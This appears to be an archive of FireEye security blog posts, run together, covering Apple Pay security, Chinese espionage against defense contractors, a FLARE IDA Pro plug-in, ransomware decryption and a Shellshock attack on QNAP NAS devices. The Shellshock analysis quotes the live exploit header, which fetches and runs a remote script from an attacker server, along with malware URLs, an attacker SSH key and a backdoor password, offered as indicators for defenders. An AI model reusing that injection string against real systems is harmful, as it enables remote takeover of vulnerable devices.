Apple Pay.

How Does Apple Pay Try to Stay Secure?

Technology-wise, the back-end architecture is ready to support this change. Over the past few years, several businesses, including McDonalds, have upgraded their electronic Point of Sale (POS) systems to allow faster payments through touch-less NFC readers. The Apple Pay process works like this: after you launch the payment application on your phone you will tap it on the credit card terminal to make an NFC connection. The device securely connects to the payment system and selects a credit card already stored in the phone. The actual credit card number is not stored in the phone, rather it is stored as a Device Account Number. During the transaction, that number is combined with a secure transaction code, and must be authorized via the fingerprint scanner on the iPhone 6. (On the iPhone 5, a PIN is used for approval.) The SE chip validates the transaction, relaying your authorization to the NFC modem. The transaction information goes to the merchant, who sends it to the acquiring bank, who vouches the information on behalf of the merchant.  That information is then sent from the acquiring bank to the payment processing network.  The payment processor (Visa, MasterCard, etc.) then has means to determine the account information, the credit card being used, and ensure that the transaction security code is valid.  Because the payment processor is accessing the device data, Apple has no record of what credit cards are being used, or how.

Credit Cards are a Target

As the media has covered in depth, hackers have placed a bulls-eye on American retailers. There’s a good reason for that: that’s where the credit cards are. At the end of 2013, there were 1.2 billion debit, credit, and pre-paid cards circulating in America – more than any other region. Other developed countries have migrated to chip-and-PIN technology, whereas the United States relies nearly exclusively on magnetic strip cards, which is much more valuable for hackers because of their ease of use by criminals. Hackers cost global payment-card losses of $11.3 billion in 2012 (including retailers and card issuers), and the U.S. accounted for 47% of that.

Credit Cards - US

So How Secure is Apple Pay?

By nature, NFC payments should be more secure. Unlike a traditional credit card, a new string of numbers is created for each purchase, in lieu of transmitting the user’s card information. This security element makes it extremely difficult for hackers to use a stolen number for any other purposes. In a traditional model, the merchant must accept the credit card information, even if it is encrypted. In doing so, the merchant must accept the liability of holding and processing the credit card number. However, NFC payments make skimming credit card data more difficult using current hacker techniques. Because a card is not swiped during the transaction, there is no way to introduce a skimmer to capture the magnetic credit card data. Additionally, this would also mitigate the threats from memory scraping malware such as BlackPOS or Dexter. It may be possible at some point in the future that a small antennae placed hear the NFC reader might be able to capture the communication between the NFC reader and the device. However, because the hacker would only capture the Device Account Number combined with the transaction code, it is highly unlikely that an eavesdropped communication could be reused malicious purposes. The process should deter hackers looking for credit card data from merchants who only use NFC-based payments because they will only handle the Device Account Number and the secure transaction information – not the credit card number. Even if threat actors are able to access the retailer’s network, the one-time-use-only nature of the information makes it essentially useless for their purposes. And at this point, it is unclear if a retailer will even store such information at all. Of course, we can possibly expect an adoption time where they will use NFC-based payments as well as the traditional magnetic-based credit card data.

What About the Future?  

Moving forward, mobile payment security will rely on three components: user authentication, validation of mobile applications, and third-party payment processers. First is authentication. Apply Pay uses biometrics for authentication. However, this is still an emerging technology as demonstrated when the iPhone 5S Touch ID could be bypassed just two days after launch. While convergence is the key value, it also proves to be one of the key risks that comes with these new forms of finance. While we look at the individual components and the vulnerabilities and risks they bring, we must also look at the process as a whole. Second, we must consider third-party apps and malware that may negatively impact Apple Pay. While Apple may not be opening Apple Pay up to third parties, we have previously observed malware in nearly every mobile environment. In this case, the credit card number may be vulnerable when being entered into the mobile device. The credit card information is entered into the Passbook by taking a picture of the credit card, or by manually typing it in. This is the time the data is most vulnerable, as malware may attempt to capture the image used, or capture the credit card information that has been manually entered. Finally, there are the payment infrastructure services, which typically have strong security considering the volumes of money processed through them. As POS systems move towards NFC payments, there will be fewer magnetic-based card credentials available on merchant networks. It is likely that hackers will not give up their craft, but rather redirect their efforts toward the next weakest link in the chain.

Final Thoughts  

Consumer fraud is a massive market. We must expect those who participate in online consumer fraud to look to this new technology space to maintain their crime revenue streams. Add the popularity of shopping and banking on smart devices, and you clearly see a convergence point for future criminal focus, whether recreating traditional fraud in an evolving environment or identifying new vulnerabilities and opportunities. At the moment, though, it appears Apple Pay and other NFC mobile payment systems in general offers enhanced security against traditional retail credit card breaches. As mobile payments continue to provide convenience and speed, the credit card as we know it will most likely evolve while we as consumers will increasingly rely on virtual wallets, payments, and accounts. As this shift in behavior occurs, we expect criminals to move with the trends and to continue to innovate or be shut out of the market.

Putting TRANSCOM in Perspective

Today, the Senate Armed Services Committee released information indicating that China-based threat actors were heavily targeting TRANSCOM, the U.S. military’s logistics arm. In terms of the private sector contractors impacted, the intrusions detailed in the Levin report mirror activity FireEye has observed: we frequently see nation state threat actors target not only government, but also private sector organizations in order to obtain military intelligence.

Why Pursue Military Secrets?

FireEye believes that China-based threat actors are primarily motivated to compromise the defense industrial base – both private defense contractors and government agencies — (DIB) for data theft in order to:

  • Steal intellectual property and proprietary information capable of providing the government with a military advantage and assist the country in reaching its goals for military modernization. The Chinese government likely could use information stolen from the DIB to assess the U.S.’ military capabilities, and indigenously develop its products (as well as possibly the means to effectively counter them). This may also offer a way for the government to circumvent U.S. security restrictions and other export controls to obtain technologies that they are not able to otherwise purchase from the U.S. and its close allies.
  • Stealing data from the DIB could also provide the Chinese government with an economic advantage in the global arms market, as the government would be able to indigenously develop and then sell new and highly valued technologies. Using stolen blueprints would also allow the Chinese government to increase its market competiveness, as it would be able to skip the research and development process and thus sell the same products for a cheaper price.

Threat Actors and Targets

We have seen more than 20 unique threat groups (including almost all the China-based APT groups that we track) that have compromised corporate networks in the Aerospace and Defense industry, particularly the following subsectors:

  • Aerospace & Defense Parts Wholesalers
  • Aerospace Products & Parts Manufacturing
  • Aircraft Engine & Parts Manufacturing
  • Guided Missile & Space Vehicle Manufacturing
  • Industrial & Military Computer System Manufacturing

Common data theft includes:

  • Personal Documents
  • Research Reports
  • Organizational Charts and Company Directories
  • Testing Results and Reports
  • Product Designs/Blueprints
  • Business Communications
  • Production Processes
  • PII
  • Budget Information
  • Safety Procedures
  • General Proprietary Product or Service Information
  • Equipment Maintenance Records and Specifications
  • System Log Files

While TRANSCOM attributed all 20 intrusions that it classified as “advanced persistent threat” to China, it’s important not to lose sight of the fact that China is not the only player in this game:

  • We have also observed suspected Russia-based actors target a defense technology company, and in Operation Saffron Rose, we saw an Iranian group target US defense contractors in addition to members of the Iranian opposition.
  • We’ve also seen a number of regional conflicts, such as India-Pakistan, play out in the cyber arena, and we are seeing indications that Middle East-based hackers are tuning their skills and posing an increasing nuisance to companies around the globe.

Multiple threat groups appear to have a firm understanding of the Aerospace and Defense supply chains, including the relationships between organizations and specific projects in the industry. In multiple instances, cyber espionage groups have targeted information about specific projects across several companies. Similarly, we have observed threat groups target the entire Aerospace and Defense manufacturing production cycle, from research and development through testing and production, all the way to product launch.

Defense contractors are not the only parties who are affected by military intelligence collection. We have also seen relatively small companies—for example, technology companies that produce products for military and consumer applications—hit by probable nation-state threat actors, who appear to be collecting intelligence on the companies relationships with adversary military organizations.

The intrusions at TRANSCOM and its contractors resulted in data theft, but it’s important to note that data theft is not the only possible outcome of a breach. It’s also possible for threat actors to modify data once they have access to it, or even to destroy data, as they did in the case of Saudi Aramco. They may establish a foothold to ensure that they have access to victim networks for future use, or to conduct reconnaissance for possible, future operations.

Lessons from TRANSCOM

Of the 11 contractors impacted, eight said they were not aware of any threat activity occurring during the period in question. This hearkens back to a mantra we have at FireEye: it is not a matter of if an enterprise will be breached, but when. It is therefore critical that organizations prepare for the inevitable breach by monitoring for signs of an intrusion, sharing intelligence with industry peers, and having a strong incident response plan in place. In addition, intel sharing—more freely among government entities, as well as the threat intelligence community writ large—and contribute to better preparedness and a more effective defense against cyber threats.

Security Done the Right Way: Adaptive Defense

Over the past two decades, we have had the privilege of responding to hundreds of computer security breaches. We have spent over a million hours on the front lines combatting the most advanced computer intruders, assisting organizations in responding to the attacks.

These experiences have provided us the opportunity to become intimate with the challenges organizations face when confronting cybersecurity threats. They also provided the best vantage point for us to observe the current state of the threats attacking organizations.

Our most telling conclusion is that today’s cyber attacks circumvent even the most secure organizations. These highly security-conscious organizations implement programs with numerous products, plenty of personnel, and thorough policies that address known weaknesses. Yet, they still tend to suffer security incidents as frequently as organizations whose security programs are not as robust.

Why is this the case? Simply put: attackers have been adapting to enterprise defenses and exploiting weaknesses we’ve never heard of far faster than we can adapt or react to their activities … until now.

There is no such thing as perfect security – but we can take tremendous strides to advance the speed and effectiveness of our security programs. The most effective security programs will incorporate strategies to reduce their target surface and shorten the “alert to fix” cycle to diminish the impact of any security breaches that do occur. Effective, security conscious organizations will implement:

  1. Strong preventive measures to minimize your attack surface area.
  2. Advanced detection capabilities (signature-less detection, real-time detection).
  3. Network, endpoint, and event visibility.
  4. The threat intelligence required to leverage the visibility.
  5. A fluid process to adapt to emerging threats.

As attacks change, defensive measures must evolve. We have learned the next-generation security architecture needs to be adaptive, nimble and have real long-term relevance. And we need to approach this with state-of-the-art products, highly skilled security experts and real-time threat intelligence.

We call this Adaptive Defense.

FireEye Adaptive Defense fully embraces the combination of FireEye and Mandiant, two companies that approached security from both sides of the security spectrum—detect and respond, respectively. By focusing on detection, FireEye created real-time, signature-less based methods to have situational awareness when attacks occur. By focusing on response, Mandiant developed the capability to rapidly and effectively contain these threats. Together, both organizations combine years of rigor and discipline obtaining the threat intelligence required to detect and respond to incidents.

These areas of focus represent the totality of the security problem the world faces today. We need to be able to prevent and detect the attacks we understand well enough to counter with technology. We need to analyze the environment to address the attacks that penetrate an organization’s perimeter and bypass preventive measures. And then ultimately, when we understand an attack well enough, contain it to get back to normal business operations. To succeed in today’s cyber-threat environment this cycle must shrink – from alert to fix in months, to alert to fix in minutes – in order to eliminate the consequences of a security breach.

That’s the compelling need FireEye Adaptive Defense addresses with today’s announcements. To learn more about what makes Adaptive Defense work, visit FireEye Threat Intelligence and FireEye as a Service.

FLARE IDA Pro Script Series: MSDN Annotations IDA Pro for Malware Analysis

The FireEye Labs Advanced Reverse Engineering (FLARE) Team continues to share knowledge and tools with the community. We started this blog series with a script for Automatic Recovery of Constructed Strings in Malware. As always, you can download these scripts at the following location: https://github.com/fireeye/flare-ida. We hope you find all these scripts as useful as we do.

Motivation

During my summer internship with the FLARE team, my goal was to develop IDAPython plug-ins that speed up the reverse engineering workflow in IDA Pro. While analyzing malware samples with the team, I realized that a lot of time is spent looking up information about functions, arguments, and constants at the Microsoft Developer Network (MSDN) website. Frequently switching to the developer documentation can interrupt the reverse engineering process, so we thought about ways to integrate MSDN information into IDA Pro automatically. In this blog post we will release a script that does just that, and we will show you how to use it.

Introduction

The MSDN Annotations plug-in integrates information about functions, arguments and return values into IDA Pro’s disassembly listing in the form of IDA comments. This allows the information to be integrated as seamlessly as possible. Additionally, the plug-in is able to automatically rename constants, which further speeds up the analyst workflow. The plug-in relies on an offline XML database file, which is generated from Microsoft’s documentation and IDA type library files.

Features

Table 1 shows what benefit the plug-in provides to an analyst. On the left you can see IDA Pro’s standard disassembly: seven arguments get pushed onto the stack and then the CreateFileA function is called. Normally an analyst would have to look up function, argument and possibly constant descriptions in the documentation to understand what this code snippet is trying to accomplish. To obtain readable constant values, an analyst would be required to research the respective argument, import the corresponding standard enumeration into IDA and then manually rename each value. The right side of Table 1 shows the result of executing our plug-in showing the support it offers to an analyst.

The most obvious change is that constants are renamed automatically. In this example, 40000000h was automatically converted to GENERIC_WRITE. Additionally, each function argument is renamed to a unique name, so the corresponding description can be added to the disassembly.

flare1

Table 1: Automatic labelling of standard symbolic constants

In Figure 1 you can see how the plug-in enables you to display function, argument, and constant information right within the disassembly. The top image shows how hovering over the CreateFileA function displays a short description and the return value. In the middle image, hovering over the hTemplateFile argument displays the corresponding description. And in the bottom image, you can see how hovering over dwShareMode, the automatically renamed constant displays descriptive information.

Functions

flare2

Arguments

flare3

Constants

flare4

Figure 1: Hovering function names, arguments and constants displays the respective descriptions

How it works

Before the plug-in makes any changes to the disassembly, it creates a backup of the current IDA database file (IDB). This file gets stored in the same directory as the current database and can be used to revert to the previous markup in case you do not like the changes or something goes wrong.

The plug-in is designed to run once on a sample before you start your analysis. It relies on an offline database generated from the MSDN documentation and IDA Pro type library (TIL) files. For every function reference in the import table, the plug-in annotates the function’s description and return value, adds argument descriptions, and renames constants. An example of an annotated import table is depicted in Figure 2. It shows how a descriptive comment is added to each API function call. In order to identify addresses of instructions that position arguments prior to a function call, the plug-in relies on IDA Pro’s markup.

flare5

Figure 2: Annotated import table

Figure 3 shows the additional .msdn segment the plug-in creates in order to store argument descriptions. This only impacts the IDA database file and does not modify the original binary.

flare6

Figure 3: The additional segment added to the IDA database

The .msdn segment stores the argument descriptions as shown in Figure 4. The unique argument names and their descriptive comments are sequentially added to the segment.

flare7

Figure 4: Names and comments inserted for argument descriptions

To allow the user to see constant descriptions by hovering over constants in the disassembly, the plug-in imports IDA Pro’s relevant standard enumeration and adds descriptive comments to the enumeration members. Figure 5 shows this for the MACRO_CREATE enumeration, which stores constants passed as dwCreationDisposition to CreateFileA.

flare8

Figure 5: Descriptions added to the constant enumeration members

Preparing the MSDN database file

The plug-in’s graphical interface requires you to have the QT framework and Python scripting installed. This is included with the IDA Pro 6.6 release. You can also set it up for IDA 6.5 as described here (http://www.hexblog.com/?p=333).

As mentioned earlier, the plug-in requires an XML database file storing the MSDN documentation. We cannot distribute the database file with the plug-in because Microsoft holds the copyright for it. However, we provide a script to generate the database file. It can be cloned from the git repository at https://github.com/fireeye/flare-ida together with the annotation plug-in.

You can take the following steps to setup the database file. You only have to do this once.

  1. Download and install an offline version of the MSDN documentationYou can download the Microsoft Windows SDK MSDN documentation. The standalone installer can be downloaded from http://www.microsoft.com/en-us/download/details.aspx?id=18950. Although it is not the newest SDK version, it includes all the needed information and data extraction is straight-forward.As shown in Figure 6, you can select to only install the help files. By default they are located in C:\Program Files\Microsoft SDKs\Windows\v7.0\Help\1033.

    flare9

    Figure 6: Installing a local copy of the MSDN documentation

  2. Extract the files with an archive manager like 7-zip to a directory of your choice.
  3. Download and extract tilib.exe from Hex-Ray’s download page at https://www.hex-rays.com/products/ida/support/download.shtml 

    To allow the plug-in to rename constants, it needs to know which enumerations to import. IDA Pro stores this information in TIL files located in %IDADIR%/til/. Hex-Rays provides a tool (tilib) to show TIL file contents via their download page for registered users. Download the tilib archive and extract the binary into %IDADIR%. If you run tilib without any arguments and it displays its help message, the program is running correctly.

  4. Run MSDN_crawler/msdn_crawler.py <path to extracted MSDN documentation> <path to tilib.exe> <path to til files>

    With these prerequisites fulfilled, you can run the MSDN_crawler.py script, located in the MSDN_crawler directory. It expects the path to the TIL files you want to extract (normally %IDADIR%/til/pc/) and the path to the extracted MSDN documentation. After the script finishes execution the final XML database file should be located in the MSDN_data directory.

You can now run our plug-in to annotate your disassembly in IDA.

Running the MSDN annotations plug-in

In IDA, use File – Script file… (ALT + F7) to open the script named annotate_IDB_MSDN.py. This will display the dialog box shown in Figure 7 that allows you to configure the modifications the plug-in performs. By default, the plug-in annotates functions, arguments and rename constants. If you change the settings and execute the plug-in by clicking OK, your settings get stored in a configuration file in the plug-in’s directory. This allows you to quickly run the plug-in on other samples using your preferred settings. If you do not choose to annotate functions and/or arguments, you will not be able to see the respective descriptions by hovering over the element.

flare10

Figure 7: The plug-in’s configuration window showing the default settings

When you choose to use repeatable comments for function name annotations, the description is visible in the disassembly listing, as shown in Figure 8.

flare11

Figure 8: The plug-in’s preview of function annotations with repeatable comments

Similar Tools and Known Limitations

Parts of our solution were inspired by existing IDA Pro plug-ins, such as IDAScope and IDAAPIHelp. A special thank you goes out to Zynamics for their MSDN crawler and the IDA importer which greatly supported our development.

Our plug-in has mainly been tested on IDA Pro for Windows, though it should work on all platforms. Due to the structure of the MSDN documentation and limitations of the MSDN crawler, not all constants can be parsed automatically. When you encounter missing information you can extend the annotation database by placing files with supplemental information into the MSDN_data directory. In order to be processed correctly, they have to be valid XML following the schema given in the main database file (msdn_data.xml). However, if you want to extend partly existing function information, you only have to add the additional fields. Name tags are mandatory for this, as they get used to identify the respective element.

For example, if the parser did not recognize a commonly used constant, we could add the information manually. For the CreateFileA function’s dwDesiredAccess argument the additional information could look similar to Listing 1.

<?xml version=”1.0″ encoding=”ISO-8859-1″?>
<msdn>
<functions>
<function>
<name>CreateFileA</name>
<arguments>
<argument>
<name>dwDesiredAccess</name>
<constants enums=”MACRO_GENERIC”>
<constant>
<name>GENERIC_ALL</name>
<value>0×10000000</value>
<description>All possible access rights</description>
</constant>
<constant>
<name>GENERIC_EXECUTE</name>
<value>0×20000000</value>
<description>Execute access</description>
</constant>
<constant>
<name>GENERIC_WRITE</name>
<value>0×40000000</value>
<description>Write access</description>
</constant>
<constant>
<name>GENERIC_READ</name>
<value>0×80000000</value>
<description>Read access</description>
</constant>
</constants>
</argument>
</arguments>
</function>
</functions>
</msdn>

Listing 1: Additional information enhancing the dwDesiredAccess argument for the CreateFileA function

Conclusion

In this post, we showed how you can generate a MSDN database file used by our plug-in to automatically annotate information about functions, arguments and constants into IDA Pro’s disassembly. Furthermore, we talked about how the plug-in works, and how you can configure and customize it. We hope this speeds up your analysis process!

Stay tuned for the FLARE Team’s next post where we will release solutions for the FLARE On Challenge (www.flare-on.com).

The Path to Mass-Producing Cyber Attacks

Lines of people, lines of parts. The modern production line is composed of individuals contributing to a larger process. This common manufacturing approach is efficient, effective, and profitable.

Now it appears cyber attack groups in the world’s largest manufacturing country are using a similar approach to infiltrate targeted networks and compromise data – collaborating for increased efficiency and effectiveness.

FireEye Labs have published a report – Operation Quantum Entanglement – that details two attack campaigns by different groups in separate regions of China, apparently operating in parallel.

The first group, named Moafee, appears to operate from the Guandong Province. Its targets include the military organizations and governments of countries with national interests in the South China Sea, including some within the U.S. defense industrial base. Moafee may have chosen its targets based on the rich resources of South China Sea region – the world’s second business sea-lane, according to Wikipedia – including rare earth metals, crude oil, and natural gas.

The second group, known as DragonOK, targets high-tech and manufacturing companies in Japan and Taiwan. This may indicate they’re acquiring trade secrets for a competitive economic advantage in the area. DragonOK appears to operate out of China’s Jiangsu Province.

It seems that both groups, while operating in distinctly different regions, either 1) collaborate, 2) receive the same training), 3) share a common toolkit supply chain, or 4) some combination of these scenarios, which means they are employing a ‘production line’-type approach to initiating cyber attacks to breach defenses.

Mirroring Each Other

Both campaigns use similar tools, techniques and procedures (TTPs) – including custom-built backdoors and remote-administration tools (RATs) to infiltrate their targets’ networks.

Moafee and DragonOK both use a well-known proxy tool – HUC Packet Transmit Tool (HTRAN) – to disguise their geographical locations. Both utilize password-protected documents and large file sizes to disguise their attacks. These approaches, along with other similarities in TTPs we’ll review below, seem to indicate the groups are affiliated in some way and have at least some commonality in their attack campaigns.

quantum1

A third, separate group also appears to be using the same TTPs, including the same custom backdoors and RATs; however, FireEye researchers do not have enough insight to reliably report a definitive connection to the Moafee and DragonOK groups.

Hidden from Sight

Both Moafee and DragonOK favor spear-phishing emails as an attack vector, often employing a decoy to deceive the victim. The emails are well crafted and audience specific, even written in the intended victim’s native language.

Attachments are typically sent as an executable file embedded in a ZIP archive or a password-protected Microsoft Office document. We also observed both groups using decoy documents that are presented to the victim while the malware runs in the background.

The groups both use common, and multiple, methods to hide their activities. Employing sandbox environments, antivirus software and gateway firewalls, they do their best to remain unobtrusive. Methods include:

  • checking for the number of core processors (and quitting if only one is detected);
  • attaching password-protected documents and providing a password in the email contents; and
  • sending large files padded with unnecessary null bites to slide past network- and host-based AV engines that can’t scan larger files.

Tools of the Trade 

The two different operators seem to share backdoors and RATs – some of which are custom; others are publicly available. Overlapping tools include:

  • CT/NewCT/NewCT2
  • Mongall
  • Nflog
  • PoisonIvy

We observed Moafee running HTRAN proxies on their multiple Command and Control (C2) servers – all operated on CHINANET, and hosted in Guangdong Province.

Like the Moafee group, we observed DragonOK running HTRAN to proxy their C2 servers, which are also operated on CHINANET but are hosted in the Jiangsu Province.

Summary

Primarily focused on governments and military operations of countries with interests in the South China Sea, Moafee likely chooses its targets based on region’s rich natural resources. By targeting high-tech and manufacturing operations in Japan and Taiwan, DragonOK may be acquiring trade secrets for a competitive economic advantage.

While their targets and missions appear different, our researchers found enough linking evidence to demonstrate a relationship between Moafee and DragonOK, and perhaps even a third attack group. By sharing TTPs and coordinating joint attacks, these advanced threat actors are leveraging China’s supply chain economic expertise to perform extensive worldwide espionage.

DecryptCryptoLocker – A Success Story

About a month ago FireEye, in partnership with Fox-IT, released a free service to provide relief to CryptoLocker victims around the world. As early as September 2013, CryptoLocker started haunting computers of innocent computer users worldwide. The victims’ only mistake was innocuously clicking on a link in their email or browsing the Internet. The ransomware spread fast in UK, followed by the US, and then permeated the rest of the world.

A recent takedown named Operation Tovar helped bring down command and control infrastructure used by criminals to spread GameOver Zeus and its payload, cryptolocker. But taking down their servers was not enough. Thousands of victims were still left with infected systems and all their data held hostage. Even some of their backups and network shares were rendered useless. Some victims re-infected themselves, hoping to pay reduced amounts of ransom.

When the criminals accidentally gave us the keys, we realized this was an unprecedented opportunity to help give those victims with another chance to reclaim their digital property.

Since the introduction of this relief program, we have seen close to three thousand successful recoveries of ransomed data. Geographic distribution of the victims who used the service suggests most of them were within United States followed by United Kingdom, Canada, and Australia. The majority of these victims were using Windows operating systems with Chrome as their browser.

crypt01

We received great responses from everyone ranging from CTOs, IT Directors, to home users. One office manager who was going to spend all weekend preparing for a Monday morning audit responded with:

crypt02

A Support Manager from an IT service provider said:

“This is amazing. We had a client that got hit with this and ‘lost’ 17 years worth of data. I opted to keep the files and told them if there was ever a way to fix this, we’d have the data. I honestly never expected to recover the data.”

Cryptolocker’s multi-million monetary gains brought back a renewed interest in ransomware and it was followed by a plethora of imitators that started spreading and selling on black market. Decryptcryptolocker has helped in bringing back immeasurable amount of lost data back to people and hopefully enhanced user education.

Threat Research

Filter by Category:


The Shellshock Aftershock for NAS Administrators

Summary

FireEye has been monitoring Shellshock-related attacks closely since the vulnerability was first made public last week. Specifically, FireEye has observed attackers attempting to exploit the BASH remote code injection vulnerability against Network Attached Storage systems (NAS). These attacks result in the hackers having a root level remote shell, gaining full access to the contents of the NAS. The observed targets have been primarily located in Japan and Korea with one additional target observed in the US. The only known data on the attackers currently are that two of their malware host servers are located in Korea and the US.

NAS systems are used by enterprises to store large volumes of files and house databases, as well as by consumers for personal storage. This makes an NAS an attractive target for attackers given the broad types of data they handle. In this case, the attackers can gain full access the NAS contents as well as execute other commands.

Based on the sheer number of devices which run an embedded Linux OS and the time-to-patch window, we feel the potential for widescale compromise of network-connected personal and business data storage systems is very high at this time. As many smart- or connected-devices utilize similar set-ups, this represents one of the first in the wild Shellshock attack against IoT-type devices.

We have evidence that attackers are actively exploiting the time-to-patch window and targeting embedded devices, specifically those made by QNAP, in order to append their SSH key to the authorized_keys file and install an ELF backdoor.

Background

This particular attack, on a popular brand of network attached storage devices, is an excellent example of the type of threat currently facing devices that run an embedded Linux operating system. As stated on the manufacturer’s website:

QNAP Inc. is the worldwide leading storage system provider who is one of the top 2 NAS provider in the sub $5k business segment according to Gartner Research Group in 2010. The product line covers NAS, NVR video surveillance, and network media players to consumer, small/medium business, and enterprise market segments.”

Virtually all of their devices run an embedded Linux OS that is vulnerable to CVE-2014-6271 if left unpatched. This includes personal and business network storage as well as professional video surveillance systems used in a variety of industries. This vulnerability is particularly severe because it grants root privileges to the attacker, and proof of concept exploit code is publicly discussed here.

shell1

Figure 1 – QNAP product specification page listing Embedded Linux as the OS.

According to the press release from QNAP, users are advised to disconnect systems that are directly accessible from the Internet until the proper update is applied. However, this would not prevent hackers from moving laterally and compromising the device from another machine on the network. At the time of this writing QNAP has released an update, which is available here.

THE ATTACK

Starting approximately September 26, 2014, FireEye detected thousands of attempts at accessing /cgi-bin/ directories over TCP port 8080. While this may not seem all that unusual given the current storm of Shellshock scans, it is notable because scans that contain commands to fetch additional files occur far less frequently.

The attack vector observed was the administrative login page located at /cgi-bin/authLogin.cgi.

shell2

Figure 2 – Example QNAP NAS appliance login pages

Vulnerable CGI pages can be tested for Shellshock via a simple test from the command line. For example if we wanted to test an Apache web server, from a test system with curl installed, issue the following HTTP request:

 

Figure_3_curl_ping

Figure 3 – command line test for Shellshock using Curl.

Where 192.168.101.131 is the webserver we are testing for Shellshock.

The above test will send 5 ICMP Ping packets from the vulnerable server to 192.168.101.130 (change IP’s to suit).

If the system returns an Error 500 and you see an ICMP ping from the target system then you know the attack worked.

shell4

Figure 4 – Example request to a vulnerable Linux web server w/ response code 500

shell5

Figure 5 – Wireshark view of ICMP pings from the vulnerable web server

shell6

Figure 6 – view of offending HTTP header used in our test

An even simpler test is available if the system is directly connected to the internet (and we found many of these devices are). Simply use any of the freely available Shellshock test sites and point them to the administration page of the device.

shell7

Figure 7 – Example results against an openly accessible QNAP NAS

We should mention that QNAP devices are not the only devices we saw with administrative pages in the/cgi-bin/ path on port 8080. HP printers were also caught in the crossfire. However we did not confirm whether these devices were actually vulnerable and do not believe they were the intended target of this attack.

All the targets we have observed thus far have been openly accessible QNAP NAS systems hosted on networks belonging to Universities and Research Institutes in Japan and Korea, as well as one in the US.

The exploit attempts targeting QNAP devices that were detected by FireEye attempted to instruct the system to download a script. When executed, the script would modify the NAS device’s startup environment; copy an SSH key; and then retrieve a Linux ELF binary.

The “curl” command was injected into the User-Agent field of an HTTP request to the NAS, which instructed the device to craft a custom HTTP request to nova.ddns.us. This resolves to an IP located in Korea.

shell8
Figure 8 – the malicious GET request observed in the attack

The above request was observed leveraging the exploit to download files from 118.218.219[.]179. This is akin to an administrator (UID=0) being logged in to the device and copying files from an external server to the “/root” directory and executing them. However, in this case, it’s all happening quietly behind the scenes without any user interaction.

shell9

Figure 9 – IP & Geo location info for the Korea located server hosting malicious files.

We detected a second server in the US at IP 107.191.116[.]167.

GET /cgi-bin/authLogin.cgi HTTP/1.1

User-Agent: () { :;}; /sbin/curl http://107.191.116[.]167/once -o /root/once;/bin/sh /root/once

shell10

Figure 10 – IP & Geo location info for the US server hosting malicious files.

If the request is successful in exploiting the NAS system, it will proceed to download a file named “once.” This file is a shell script intended to copy additional scripts to the “/root” directory of the NAS as well as an SSH key to facilitate future logins.

shell11

Figure 11 – contents of “once”, note the mis-spelled “autorized_keys.”

The script quietly sets the NAS’s local DNS to use Google’s DNS servers and then uses wget or curl to retrieve additional files and copy them from the host seen in the User-Agent field of the Shellshock tainted request. In this case they are coming from dynamic DNS hosted nova.ddns.us (still up at the time of this writing).

hXXp://nova.ddns[.]us/authorized_keys to à /root/.ssh/authorized_keys

hXXp://nova.ddns[.]us /autorun.sh to à $local_path/autorun.sh

The script then downloads an ELF backdoor to the local system.

hXXp://nova.ddns[.]us/term_$arch à $local_path/term

Where $arch contains a string representing the machine’s architecture, as output by “uname –m.”

In this case we used “x86_64” making the path to the desired file

hXXp://nova.ddns.us/term_x86_64.

We were also able to retrieve a 32 bit version named “term_i686”.

Both files are Linux ELF binaries unknown to VT at time of analysis:

64bit file MD5: 24bdef31e71342ae413bd2d6ee766564

32bit file MD5: 87a8da400230500026f674c9d0452a11

COPIED SSH KEY

An interesting component of the attack is the script also attempts to copy an SSH key to the local authorized_keys file on the NAS device, this allows future password-less logins, creating a backdoor for the attacker to the NAS device.

The contents of SSH key from nova.ddns.us/authorized_keys:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmm9yrZmk82sex8JLLeWs/y4v6iI4cxgqm6Y3sDkT/d5WJZ39pm6k6x8Z7mTKyVWJUSV2MOcwzfUuk10jmaT9PO0Og0mAEv5ZQwFKPZaMvXkI/6B/LQx//RkCWLA7l68/8kKeTV/1bU/iLu/kK4xVFVTQFDh4H72cGCuovslTzqaSZjDDkrDx2uGkWXFejoOBCeGm8aDjZchcekAJBlnHhc56N6vjjwNlDi2gw1pmD+gmNafUYQoimbGPPfKK84TZIBlnNdFIBfz/YbAn4Vib/5HJb9JdFVt+sKiVzm4EPVrY4WwRIvhugmPwlazGcYFZQpB6FFJ2FDmlQAQUugyiv root@nova

The script also overwrites the local qpkg.conf file, which is the autostartup configuration file native to QNAP Network Attached Storage systems. This essentially configures the NAS appliance to autorun the “autorun.sh” script and maintains persistence for the attackers.

The autorun.sh script then looks for the directory “/share/MD0_DATA” which is a common share path for QNAP Network Attacked Storage systems. If this directory is not found, it goes on to search for other available directories with “share” in the name. The share directory is used to build the base installation directory for the malware.

shell12

Figure 12 – contents of autorun.sh script

The script also has its own update mechanism that will run every time the autostart is kicked off. The contents of update.sh were empty when checked however we speculate attackers would modify it at some point.

THE ELF BACKDOOR

The downloaded ELF executable, named term_x86_64 or term_i686 depending on the architecture of the victim’s OS, is a backdoor that provides shell access to the attacker.

It can be invoked in 3 different ways, providing some options for the attacker.

  • Running it with no arguments will have the executable listen for connections on port 58273.
  • Running it with 1 argument will have it listen for connections on the port number specified in the argument.
  • Running it with 2 arguments has it make an outbound connection to the host specified in the first argument using the port specified in the second argument.

In the cases where the backdoor is listening for a connection, a password is required before shell access is granted. Sending a packet containing the text “IAMYOURGOD” will have the malware setup and serve the shell to you, otherwise it closes the connection. In the attacks we have seen, this backdoor is executed with no arguments and hence will listen for connections on port 58273.

INDICATORS

The following indicators may help in identifying if your system has been compromised.

SSH KEY

Presence of the following ssh key anywhere on your system indicates that the attacker was successful in copying the key.

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmm9yrZmk82sex8JLLeWs/y4v6iI4cxgqm6Y3sDkT/d5WJZ39pm6k6x8Z7mTKyVWJUSV2MOcwzfUuk10jmaT9PO0Og0mAEv5ZQwFKPZaMvXkI/6B/LQx//RkCWLA7l68/8kKeTV/1bU/iLu/kK4xVFVTQFDh4H72cGCuovslTzqaSZjDDkrDx2uGkWXFejoOBCeGm8aDjZchcekAJBlnHhc56N6vjjwNlDi2gw1pmD+gmNafUYQoimbGPPfKK84TZIBlnNdFIBfz/YbAn4Vib/5HJb9JdFVt+sKiVzm4EPVrY4WwRIvhugmPwlazGcYFZQpB6FFJ2FDmlQAQUugyiv root@nova

Logs

Checking web logs for presence of HTTP requests using the string of bytes used in a Shellshock attack may also help identify exposed systems.

Requests will contain the characters “() { “ (HEX: 28 29 20 7b 20) somewhere in the HTTP header or URI.

LINUX Malware

64 BIT ELF binary

